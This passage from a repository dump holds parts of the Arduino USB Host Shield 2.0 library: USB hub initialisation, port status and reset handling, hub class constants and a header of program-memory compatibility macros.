descriptor\n        // If device class is not a hub return\n        if(udd->bDeviceClass != 0x09)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, (udd->bDeviceClass == 0x09) ? true : false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                // Restore p->epinfo\n                p->epinfo = oldep_ptr;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                return rcode;\n        }\n\n        //USBTRACE2(\"\\r\\nHub address: \", bAddress );\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        if(len)\n                rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf);\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 2, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        //                bInitState = 1;\n\n        //        case 1:\n        // Get hub descriptor\n        rcode = GetHubDescriptor(0, 8, buf);\n\n        if(rcode)\n                goto FailGetHubDescr;\n\n        // Save number of ports for future use\n        bNbrPorts = hd->bNbrPorts;\n\n        //                bInitState = 2;\n\n        //        case 2:\n        // Read configuration Descriptor in Order To Obtain Proper Configuration Value\n        rcode = pUsb->getConfDescr(bAddress, 0, 8, 0, buf);\n\n        if(!rcode) {\n                cd_len = ucd->wTotalLength;\n                rcode = pUsb->getConfDescr(bAddress, 0, cd_len, 0, buf);\n        }\n        if(rcode)\n                goto FailGetConfDescr;\n\n        // The following code is of no practical use in real life applications.\n        // It only intended for the usb protocol sniffer to properly parse hub-class requests.\n        {\n                uint8_t buf2[24];\n\n                rcode = pUsb->getConfDescr(bAddress, 0, buf[0], 0, buf2);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n        }\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, buf[5]);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        //                bInitState = 3;\n\n        //        case 3:\n        // Power on all ports\n        for(uint8_t j = 1; j <= bNbrPorts; j++)\n                SetPortFeature(HUB_FEATURE_PORT_POWER, j, 0); //HubPortPowerOn(j);\n\n        pUsb->SetHubPreMask();\n        bPollEnable = true;\n        //                bInitState = 0;\n        //}\n        //bInitState = 0;\n        //USBTRACE(\"...OK\\r\\n\");\n        return 0;\n\n        // Oleg, No debugging?? -- xxxajk\nFailGetDevDescr:\n        goto Fail;\n\nFailSetDevTblEntry:\n        goto Fail;\n\nFailGetHubDescr:\n        goto Fail;\n\nFailGetConfDescr:\n        goto Fail;\n\nFailSetConfDescr:\n        goto Fail;\n\nFail:\n        USBTRACE(\"...FAIL\\r\\n\");\n        return rcode;\n}\n\nuint8_t USBHub::Release() {\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        if(bAddress == 0x41)\n                pUsb->SetHubPreMask();\n\n        bAddress = 0;\n        bNbrPorts = 0;\n        qNextPollTime = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nuint8_t USBHub::Poll() {\n        uint8_t rcode = 0;\n\n        if(!bPollEnable)\n                return 0;\n\n        if(((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L)) {\n                rcode = CheckHubStatus();\n                qNextPollTime = (uint32_t)millis() + 100;\n        }\n        return rcode;\n}\n\nuint8_t USBHub::CheckHubStatus() {\n        uint8_t rcode;\n        uint8_t buf[8];\n        uint16_t read = 1;\n\n        rcode = pUsb->inTransfer(bAddress, 1, &read, buf);\n\n        if(rcode)\n                return rcode;\n\n        //if (buf[0] & 0x01) // Hub Status Change\n        //{\n        //        pUsb->PrintHubStatus(addr);\n        //        rcode = GetHubStatus(1, 0, 1, 4, buf);\n        //        if (rcode)\n        //        {\n        //                USB_HOST_SERIAL.print(\"GetHubStatus Error\");\n        //                USB_HOST_SERIAL.println(rcode, HEX);\n        //                return rcode;\n        //        }\n        //}\n        for(uint8_t port = 1, mask = 0x02; port < 8; mask <<= 1, port++) {\n                if(buf[0] & mask) {\n                        HubEvent evt;\n                        evt.bmEvent = 0;\n\n                        rcode = GetPortStatus(port, 4, evt.evtBuff);\n\n                        if(rcode)\n                                continue;\n\n                        rcode = PortStatusChange(port, evt);\n\n                        if(rcode == HUB_ERROR_PORT_HAS_BEEN_RESET)\n                                return 0;\n\n                        if(rcode)\n                                return rcode;\n                }\n        } // for\n\n        for(uint8_t port = 1; port <= bNbrPorts; port++) {\n                HubEvent evt;\n                evt.bmEvent = 0;\n\n                rcode = GetPortStatus(port, 4, evt.evtBuff);\n\n                if(rcode)\n                        continue;\n\n                if((evt.bmStatus & bmHUB_PORT_STATE_CHECK_DISABLED) != bmHUB_PORT_STATE_DISABLED)\n                        continue;\n\n                // Emulate connection event for the port\n                evt.bmChange |= bmHUB_PORT_STATUS_C_PORT_CONNECTION;\n\n                rcode = PortStatusChange(port, evt);\n\n                if(rcode == HUB_ERROR_PORT_HAS_BEEN_RESET)\n                        return 0;\n\n                if(rcode)\n                        return rcode;\n        } // for\n        return 0;\n}\n\nvoid USBHub::ResetHubPort(uint8_t port) {\n        HubEvent evt;\n        evt.bmEvent = 0;\n        uint8_t rcode;\n\n        ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0);\n        ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0);\n        SetPortFeature(HUB_FEATURE_PORT_RESET, port, 0);\n\n\n        for(int i = 0; i < 3; i++) {\n                rcode = GetPortStatus(port, 4, evt.evtBuff);\n                if(rcode) break; // Some kind of error, bail.\n                if(evt.bmEvent == bmHUB_PORT_EVENT_RESET_COMPLETE || evt.bmEvent == bmHUB_PORT_EVENT_LS_RESET_COMPLETE) {\n                        break;\n                }\n                delay(100); // simulate polling.\n        }\n        ClearPortFeature(HUB_FEATURE_C_PORT_RESET, port, 0);\n        ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0);\n        delay(20);\n}\n\nuint8_t USBHub::PortStatusChange(uint8_t port, HubEvent &evt) {\n        switch(evt.bmEvent) {\n                        // Device connected event\n                case bmHUB_PORT_EVENT_CONNECT:\n                case bmHUB_PORT_EVENT_LS_CONNECT:\n                        if(bResetInitiated)\n                                return 0;\n\n                        ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0);\n                        ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0);\n                        SetPortFeature(HUB_FEATURE_PORT_RESET, port, 0);\n                        bResetInitiated = true;\n                        return HUB_ERROR_PORT_HAS_BEEN_RESET;\n\n                        // Device disconnected event\n                case bmHUB_PORT_EVENT_DISCONNECT:\n                        ClearPortFeature(HUB_FEATURE_C_PORT_ENABLE, port, 0);\n                        ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0);\n                        bResetInitiated = false;\n\n                        UsbDeviceAddress a;\n                        a.devAddress = 0;\n                        a.bmHub = 0;\n                        a.bmParent = bAddress;\n                        a.bmAddress = port;\n                        pUsb->ReleaseDevice(a.devAddress);\n                        return 0;\n\n                        // Reset complete event\n                case bmHUB_PORT_EVENT_RESET_COMPLETE:\n                case bmHUB_PORT_EVENT_LS_RESET_COMPLETE:\n                        ClearPortFeature(HUB_FEATURE_C_PORT_RESET, port, 0);\n                        ClearPortFeature(HUB_FEATURE_C_PORT_CONNECTION, port, 0);\n\n                        delay(20);\n\n                        a.devAddress = bAddress;\n\n                        pUsb->Configuring(a.bmAddress, port, (evt.bmStatus & bmHUB_PORT_STATUS_PORT_LOW_SPEED));\n                        bResetInitiated = false;\n                        break;\n\n        } // switch (evt.bmEvent)\n        return 0;\n}\n\nvoid PrintHubPortStatus(USBHub *hubptr, uint8_t addr __attribute__((unused)), uint8_t port, bool print_changes) {\n        uint8_t rcode = 0;\n        HubEvent evt;\n\n        rcode = hubptr->GetPortStatus(port, 4, evt.evtBuff);\n\n        if(rcode) {\n                USB_HOST_SERIAL.println(\"ERROR!\");\n                return;\n        }\n        USB_HOST_SERIAL.print(\"\\r\\nPort \");\n        USB_HOST_SERIAL.println(port, DEC);\n\n        USB_HOST_SERIAL.println(\"Status\");\n        USB_HOST_SERIAL.print(\"CONNECTION:\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_CONNECTION) > 0, DEC);\n        USB_HOST_SERIAL.print(\"ENABLE:\\t\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_ENABLE) > 0, DEC);\n        USB_HOST_SERIAL.print(\"SUSPEND:\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_SUSPEND) > 0, DEC);\n        USB_HOST_SERIAL.print(\"OVER_CURRENT:\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_OVER_CURRENT) > 0, DEC);\n        USB_HOST_SERIAL.print(\"RESET:\\t\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_RESET) > 0, DEC);\n        USB_HOST_SERIAL.print(\"POWER:\\t\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_POWER) > 0, DEC);\n        USB_HOST_SERIAL.print(\"LOW_SPEED:\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_LOW_SPEED) > 0, DEC);\n        USB_HOST_SERIAL.print(\"HIGH_SPEED:\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_HIGH_SPEED) > 0, DEC);\n        USB_HOST_SERIAL.print(\"TEST:\\t\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_TEST) > 0, DEC);\n        USB_HOST_SERIAL.print(\"INDICATOR:\\t\");\n        USB_HOST_SERIAL.println((evt.bmStatus & bmHUB_PORT_STATUS_PORT_INDICATOR) > 0, DEC);\n\n        if(!print_changes)\n                return;\n\n        USB_HOST_SERIAL.println(\"\\r\\nChange\");\n        USB_HOST_SERIAL.print(\"CONNECTION:\\t\");\n        USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_CONNECTION) > 0, DEC);\n        USB_HOST_SERIAL.print(\"ENABLE:\\t\\t\");\n        USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_ENABLE) > 0, DEC);\n        USB_HOST_SERIAL.print(\"SUSPEND:\\t\");\n        USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_SUSPEND) > 0, DEC);\n        USB_HOST_SERIAL.print(\"OVER_CURRENT:\\t\");\n        USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_OVER_CURRENT) > 0, DEC);\n        USB_HOST_SERIAL.print(\"RESET:\\t\\t\");\n        USB_HOST_SERIAL.println((evt.bmChange & bmHUB_PORT_STATUS_C_PORT_RESET) > 0, DEC);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbhub.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__USBHUB_H__)\n#define __USBHUB_H__\n\n#include \"Usb.h\"\n\n#define USB_DESCRIPTOR_HUB                      0x09 // Hub descriptor type\n\n// Hub Requests\n#define bmREQ_CLEAR_HUB_FEATURE                 USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE\n#define bmREQ_CLEAR_PORT_FEATURE                USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n#define bmREQ_CLEAR_TT_BUFFER                   USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n#define bmREQ_GET_HUB_DESCRIPTOR                USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE\n#define bmREQ_GET_HUB_STATUS                    USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE\n#define bmREQ_GET_PORT_STATUS                   USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n#define bmREQ_RESET_TT                          USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n#define bmREQ_SET_HUB_DESCRIPTOR                USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE\n#define bmREQ_SET_HUB_FEATURE                   USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_DEVICE\n#define bmREQ_SET_PORT_FEATURE                  USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n#define bmREQ_GET_TT_STATE                      USB_SETUP_DEVICE_TO_HOST|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n#define bmREQ_STOP_TT                           USB_SETUP_HOST_TO_DEVICE|USB_SETUP_TYPE_CLASS|USB_SETUP_RECIPIENT_OTHER\n\n// Hub Class Requests\n#define HUB_REQUEST_CLEAR_TT_BUFFER             8\n#define HUB_REQUEST_RESET_TT                    9\n#define HUB_REQUEST_GET_TT_STATE                10\n#define HUB_REQUEST_STOP_TT                     11\n\n// Hub Features\n#define HUB_FEATURE_C_HUB_LOCAL_POWER           0\n#define HUB_FEATURE_C_HUB_OVER_CURRENT          1\n#define HUB_FEATURE_PORT_CONNECTION             0\n#define HUB_FEATURE_PORT_ENABLE                 1\n#define HUB_FEATURE_PORT_SUSPEND                2\n#define HUB_FEATURE_PORT_OVER_CURRENT           3\n#define HUB_FEATURE_PORT_RESET                  4\n#define HUB_FEATURE_PORT_POWER                  8\n#define HUB_FEATURE_PORT_LOW_SPEED              9\n#define HUB_FEATURE_C_PORT_CONNECTION           16\n#define HUB_FEATURE_C_PORT_ENABLE               17\n#define HUB_FEATURE_C_PORT_SUSPEND              18\n#define HUB_FEATURE_C_PORT_OVER_CURRENT         19\n#define HUB_FEATURE_C_PORT_RESET                20\n#define HUB_FEATURE_PORT_TEST                   21\n#define HUB_FEATURE_PORT_INDICATOR              22\n\n// Hub Port Test Modes\n#define HUB_PORT_TEST_MODE_J                    1\n#define HUB_PORT_TEST_MODE_K                    2\n#define HUB_PORT_TEST_MODE_SE0_NAK              3\n#define HUB_PORT_TEST_MODE_PACKET               4\n#define HUB_PORT_TEST_MODE_FORCE_ENABLE         5\n\n// Hub Port Indicator Color\n#define HUB_PORT_INDICATOR_AUTO                 0\n#define HUB_PORT_INDICATOR_AMBER                1\n#define HUB_PORT_INDICATOR_GREEN                2\n#define HUB_PORT_INDICATOR_OFF                  3\n\n// Hub Port Status Bitmasks\n#define bmHUB_PORT_STATUS_PORT_CONNECTION       0x0001\n#define bmHUB_PORT_STATUS_PORT_ENABLE           0x0002\n#define bmHUB_PORT_STATUS_PORT_SUSPEND          0x0004\n#define bmHUB_PORT_STATUS_PORT_OVER_CURRENT     0x0008\n#define bmHUB_PORT_STATUS_PORT_RESET            0x0010\n#define bmHUB_PORT_STATUS_PORT_POWER            0x0100\n#define bmHUB_PORT_STATUS_PORT_LOW_SPEED        0x0200\n#define bmHUB_PORT_STATUS_PORT_HIGH_SPEED       0x0400\n#define bmHUB_PORT_STATUS_PORT_TEST             0x0800\n#define bmHUB_PORT_STATUS_PORT_INDICATOR        0x1000\n\n// Hub Port Status Change Bitmasks (used one byte instead of two)\n#define bmHUB_PORT_STATUS_C_PORT_CONNECTION     0x0001\n#define bmHUB_PORT_STATUS_C_PORT_ENABLE         0x0002\n#define bmHUB_PORT_STATUS_C_PORT_SUSPEND        0x0004\n#define bmHUB_PORT_STATUS_C_PORT_OVER_CURRENT   0x0008\n#define bmHUB_PORT_STATUS_C_PORT_RESET          0x0010\n\n// Hub Status Bitmasks (used one byte instead of two)\n#define bmHUB_STATUS_LOCAL_POWER_SOURCE         0x01\n#define bmHUB_STATUS_OVER_CURRENT               0x12\n\n// Hub Status Change Bitmasks (used one byte instead of two)\n#define bmHUB_STATUS_C_LOCAL_POWER_SOURCE       0x01\n#define bmHUB_STATUS_C_OVER_CURRENT             0x12\n\n\n// Hub Port Configuring Substates\n#define USB_STATE_HUB_PORT_CONFIGURING          0xb0\n#define USB_STATE_HUB_PORT_POWERED_OFF          0xb1\n#define USB_STATE_HUB_PORT_WAIT_FOR_POWER_GOOD  0xb2\n#define USB_STATE_HUB_PORT_DISCONNECTED         0xb3\n#define USB_STATE_HUB_PORT_DISABLED             0xb4\n#define USB_STATE_HUB_PORT_RESETTING            0xb5\n#define USB_STATE_HUB_PORT_ENABLED              0xb6\n\n// Additional Error Codes\n#define HUB_ERROR_PORT_HAS_BEEN_RESET           0xb1\n\n// The bit mask to check for all necessary state bits\n#define bmHUB_PORT_STATUS_ALL_MAIN              ((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION | bmHUB_PORT_STATUS_C_PORT_ENABLE | bmHUB_PORT_STATUS_C_PORT_SUSPEND | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_SUSPEND)\n\n// Bit mask to check for DISABLED state in HubEvent::bmStatus field\n#define bmHUB_PORT_STATE_CHECK_DISABLED         (0x0000 | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_SUSPEND)\n\n// Hub Port States\n#define bmHUB_PORT_STATE_DISABLED               (0x0000 | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION)\n\n// Hub Port Events\n#define bmHUB_PORT_EVENT_CONNECT                (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION)\n#define bmHUB_PORT_EVENT_DISCONNECT             (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER)\n#define bmHUB_PORT_EVENT_RESET_COMPLETE         (((0UL | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION)\n\n#define bmHUB_PORT_EVENT_LS_CONNECT             (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED)\n#define bmHUB_PORT_EVENT_LS_RESET_COMPLETE      (((0UL | bmHUB_PORT_STATUS_C_PORT_RESET) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED)\n#define bmHUB_PORT_EVENT_LS_PORT_ENABLED        (((0UL | bmHUB_PORT_STATUS_C_PORT_CONNECTION | bmHUB_PORT_STATUS_C_PORT_ENABLE) << 16) | bmHUB_PORT_STATUS_PORT_POWER | bmHUB_PORT_STATUS_PORT_ENABLE | bmHUB_PORT_STATUS_PORT_CONNECTION | bmHUB_PORT_STATUS_PORT_LOW_SPEED)\n\nstruct HubDescriptor {\n        uint8_t bDescLength; // descriptor length\n        uint8_t bDescriptorType; // descriptor type\n        uint8_t bNbrPorts; // number of ports a hub equiped with\n\n        struct {\n                uint16_t LogPwrSwitchMode : 2;\n                uint16_t CompoundDevice : 1;\n                uint16_t OverCurrentProtectMode : 2;\n                uint16_t TTThinkTime : 2;\n                uint16_t PortIndicatorsSupported : 1;\n                uint16_t Reserved : 8;\n        } __attribute__((packed));\n\n        uint8_t bPwrOn2PwrGood;\n        uint8_t bHubContrCurrent;\n} __attribute__((packed));\n\nstruct HubEvent {\n\n        union {\n\n                struct {\n                        uint16_t bmStatus; // port status bits\n                        uint16_t bmChange; // port status change bits\n                } __attribute__((packed));\n                uint32_t bmEvent;\n                uint8_t evtBuff[4];\n        };\n} __attribute__((packed));\n\nclass USBHub : USBDeviceConfig {\n        static bool bResetInitiated; // True when reset is triggered\n\n        USB *pUsb; // USB class instance pointer\n\n        EpInfo epInfo[2]; // interrupt endpoint info structure\n\n        uint8_t bAddress; // address\n        uint8_t bNbrPorts; // number of ports\n        //        uint8_t bInitState; // initialization state variable\n        uint32_t qNextPollTime; // next poll time\n        bool bPollEnable; // poll enable flag\n\n        uint8_t CheckHubStatus();\n        uint8_t PortStatusChange(uint8_t port, HubEvent &evt);\n\npublic:\n        USBHub(USB *p);\n\n        uint8_t ClearHubFeature(uint8_t fid);\n        uint8_t ClearPortFeature(uint8_t fid, uint8_t port, uint8_t sel = 0);\n        uint8_t GetHubDescriptor(uint8_t index, uint16_t nbytes, uint8_t *dataptr);\n        uint8_t GetHubStatus(uint16_t nbytes, uint8_t* dataptr);\n        uint8_t GetPortStatus(uint8_t port, uint16_t nbytes, uint8_t* dataptr);\n        uint8_t SetHubDescriptor(uint8_t port, uint16_t nbytes, uint8_t* dataptr);\n        uint8_t SetHubFeature(uint8_t fid);\n        uint8_t SetPortFeature(uint8_t fid, uint8_t port, uint8_t sel = 0);\n\n        void PrintHubStatus();\n\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n        uint8_t Poll();\n        void ResetHubPort(uint8_t port);\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        virtual bool DEVCLASSOK(uint8_t klass) {\n                return (klass == 0x09);\n        }\n\n};\n\n// Clear Hub Feature\n\ninline uint8_t USBHub::ClearHubFeature(uint8_t fid) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_CLEAR_HUB_FEATURE, USB_REQUEST_CLEAR_FEATURE, fid, 0, 0, 0, 0, NULL, NULL));\n}\n// Clear Port Feature\n\ninline uint8_t USBHub::ClearPortFeature(uint8_t fid, uint8_t port, uint8_t sel) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_CLEAR_PORT_FEATURE, USB_REQUEST_CLEAR_FEATURE, fid, 0, ((0x0000 | port) | (sel << 8)), 0, 0, NULL, NULL));\n}\n// Get Hub Descriptor\n\ninline uint8_t USBHub::GetHubDescriptor(uint8_t index, uint16_t nbytes, uint8_t *dataptr) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_HUB_DESCRIPTOR, USB_REQUEST_GET_DESCRIPTOR, index, 0x29, 0, nbytes, nbytes, dataptr, NULL));\n}\n// Get Hub Status\n\ninline uint8_t USBHub::GetHubStatus(uint16_t nbytes, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_HUB_STATUS, USB_REQUEST_GET_STATUS, 0, 0, 0x0000, nbytes, nbytes, dataptr, NULL));\n}\n// Get Port Status\n\ninline uint8_t USBHub::GetPortStatus(uint8_t port, uint16_t nbytes, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_GET_PORT_STATUS, USB_REQUEST_GET_STATUS, 0, 0, port, nbytes, nbytes, dataptr, NULL));\n}\n// Set Hub Descriptor\n\ninline uint8_t USBHub::SetHubDescriptor(uint8_t port, uint16_t nbytes, uint8_t* dataptr) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_HUB_DESCRIPTOR, USB_REQUEST_SET_DESCRIPTOR, 0, 0, port, nbytes, nbytes, dataptr, NULL));\n}\n// Set Hub Feature\n\ninline uint8_t USBHub::SetHubFeature(uint8_t fid) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_HUB_FEATURE, USB_REQUEST_SET_FEATURE, fid, 0, 0, 0, 0, NULL, NULL));\n}\n// Set Port Feature\n\ninline uint8_t USBHub::SetPortFeature(uint8_t fid, uint8_t port, uint8_t sel) {\n        return ( pUsb->ctrlReq(bAddress, 0, bmREQ_SET_PORT_FEATURE, USB_REQUEST_SET_FEATURE, fid, 0, (((0x0000 | sel) << 8) | port), 0, 0, NULL, NULL));\n}\n\nvoid PrintHubPortStatus(USB *usbptr, uint8_t addr, uint8_t port, bool print_changes = false);\n\n#endif // __USBHUB_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/version_helper.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n/*\n * Universal Arduino(tm) \"IDE\" fixups.\n * Includes fixes for versions as low as 0023, used by Digilent.\n */\n\n#if defined(ARDUINO) && ARDUINO >=100\n#include <Arduino.h>\n#else\n#include <WProgram.h>\n#include <pins_arduino.h>\n#ifdef __AVR__\n#include <avr/pgmspace.h>\n#include <avr/io.h>\n#else\n#endif\n#endif\n\n#ifndef __PGMSPACE_H_\n#define __PGMSPACE_H_ 1\n\n#include <inttypes.h>\n\n#ifndef PROGMEM\n#define PROGMEM\n#endif\n#ifndef PGM_P\n#define PGM_P  const char *\n#endif\n#ifndef PSTR\n#define PSTR(str) (str)\n#endif\n#ifndef F\n#define F(str) (str)\n#endif\n#ifndef _SFR_BYTE\n#define _SFR_BYTE(n) (n)\n#endif\n\n#ifndef memchr_P\n#define memchr_P(str, c, len) memchr((str), (c), (len))\n#endif\n#ifndef memcmp_P\n#define memcmp_P(a, b, n) memcmp((a), (b), (n))\n#endif\n#ifndef memcpy_P\n#define memcpy_P(dest, src, num) memcpy((dest), (src), (num))\n#endif\n#ifndef memmem_P\n#define memmem_P(a, alen, b, blen) memmem((a), (alen), (b), (blen))\n#endif\n#ifndef memrchr_P\n#define memrchr_P(str, val, len) memrchr((str), (val), (len))\n#endif\n#ifndef strcat_P\n#define strcat_P(dest, src) strcat((dest), (src))\n#endif\n#ifndef strchr_P\n#define strchr_P(str, c) strchr((str), (c))\n#endif\n#ifndef strchrnul_P\n#define strchrnul_P(str, c) strchrnul((str), (c))\n#endif\n#ifndef strcmp_P\n#define strcmp_P(a, b) strcmp((a), (b))\n#endif\n#ifndef strcpy_P\n#define strcpy_P(dest, src) strcpy((dest), (src))\n#endif\n#ifndef strcasecmp_P\n#define strcasecmp_P(a, b) strcasecmp((a), (b))\n#endif\n#ifndef strcasestr_P\n#define strcasestr_P(a, b) strcasestr((a), (b))\n#endif\n#ifndef strlcat_P\n#define strlcat_P(dest, src, len) strlcat((dest), (src), (len))\n#endif\n#ifndef strlcpy_P\n#define strlcpy_P(dest, src, len) strlcpy((dest), (src), (len))\n#endif\n#ifndef strlen_P\n#define strlen_P(s) strlen((const char *)(s))\n#endif\n#ifndef strnlen_P\n#define strnlen_P(str, len) strnlen((str), (len))\n#endif\n#ifndef strncmp_P\n#define strncmp_P(a, b, n) strncmp((a), (b), (n))\n#endif\n#ifndef strncasecmp_P\n#define strncasecmp_P(a, b, n) strncasecmp((a), (b), (n))\n#endif\n#ifndef strncat_P\n#define strncat_P(a, b, n) strncat((a), (b), (n))\n#endif\n#ifndef strncpy_P\n#define strncpy_P(a, b, n) strncmp((a), (b), (n))\n#endif\n#ifndef strpbrk_P\n#define strpbrk_P(str, chrs) strpbrk((str), (chrs))\n#endif\n#ifndef strrchr_P\n#define strrchr_P(str, c) strrchr((str), (c))\n#endif\n#ifndef strsep_P\n#define strsep_P(strp, delim) strsep((strp), (delim))\n#endif\n#ifndef strspn_P\n#define strspn_P(str, chrs) strspn((str), (chrs))\n#endif\n#ifndef strstr_P\n#define strstr_P(a, b) strstr((a), (b))\n#endif\n#ifndef sprintf_P\n#define sprintf_P(s, ...) sprintf((s), __VA_ARGS__)\n#endif\n#ifndef vfprintf_P\n#define vfprintf_P(s, ...) vfprintf((s), __VA_ARGS__)\n#endif\n#ifndef printf_P\n#define printf_P(...) printf(__VA_ARGS__)\n#endif\n#ifndef snprintf_P\n#define snprintf_P(s, n, ...) ((s), (n), __VA_ARGS__)\n#endif\n#ifndef vsprintf_P\n#define vsprintf_P(s, ...) ((s),__VA_ARGS__)\n#endif\n#ifndef vsnprintf_P\n#define vsnprintf_P(s, n, ...) ((s), (n),__VA_ARGS__)\n#endif\n#ifndef fprintf_P\n#define fprintf_P(s, ...) ((s), 